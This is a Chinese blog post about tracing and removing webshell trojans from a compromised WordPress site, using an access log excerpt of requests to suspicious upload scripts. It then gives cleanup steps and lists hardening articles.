211.44.4.145    [21/Jul/2015:11:35:06+0800] "POST   /wp-admin/maint/util.php
211.44.4.145    [21/Jul/2015:11:35:07+0800] "POST   /wp-admin/maint/util.php
211.44.4.145    [21/Jul/2015:11:35:11+0800] "POST   /wp-admin/maint/util.php
211.44.4.145    [21/Jul/2015:11:35:55+0800] "GET    /shoesonlx/up.php
211.44.4.145    [21/Jul/2015:11:35:58+0800] "GET    /shoesxz/up.php
211.44.4.145    [21/Jul/2015:11:36:02+0800] "GET    /shoesonlx/upload.php
211.44.4.145    [21/Jul/2015:11:36:06+0800] "GET    /shoesxz/upload.php
211.44.4.145    [21/Jul/2015:13:54:42+0800] "POST   /shoesonlx/up.php
211.44.4.145    [21/Jul/2015:13:54:46+0800] "POST   /shoesonlx/up.php
211.44.4.145    [21/Jul/2015:13:54:49+0800] "POST   /shoesonlx/up.php
211.44.4.145    [21/Jul/2015:13:54:49+0800] "POST   /shoesxz/up.php
211.44.4.145    [21/Jul/2015:13:54:51+0800] "POST   /shoesxz/up.php
211.44.4.145    [21/Jul/2015:13:54:51+0800] "POST   /shoesonlx/up.php
211.44.4.145    [21/Jul/2015:13:54:52+0800] "POST   /shoesxz/up.php
211.44.4.145    [21/Jul/2015:13:54:53+0800] "POST   /shoesonlx/up.php
211.44.4.145    [21/Jul/2015:13:54:55+0800] "POST   /shoesonlx/up.php
211.44.4.145    [21/Jul/2015:13:54:55+0800] "POST   /shoesxz/up.php

定位特洛伊

长期保留服务器访问日志,至少一个月,这样可以快速的定位,还原黑客入侵的过程

处理思路:

  1. 查看日志排查访问过木马的IP,并且提取
  2. 根据提取的IP顺藤摸瓜拿到所有的被访问过的文件
  3. 打开所有被好心人访问过的文件,查看相关代码是否有hackshell之类相关内容,如果有则纪录木马关键字
  4. 根据特征字全目录扫描,然后进行删除
  5. 将WP升级至最新版,或者直接下载最新版本整个目录替换

我们得自己健壮

长期的缺管,主要是没什么好写的,小学语文水平,尤其是购买Evernote高级会员以后,看到的好文章都直接通过摘录放到笔记里去了,所以导致了博客几乎名存实亡的感觉,虽然亡了但也要活着啊,特别是技术人员指望着这个博客找工作的说

人比较懒具体健壮操作方式,直接在这里罗列相关文章,自己看着办吧

  1. 自动更新
  2. 修改后台地址
  3. 加固你的WP
  4. 2013年WP漏洞扫描PHP版
  5. exploit-db
  6. Linux系统防CC攻击自动拉黑IP增强版Shell脚本
  7. Linux安全之PHP木马查杀与防范
  8. WP安全设置技巧
  9. 添加IP访问限制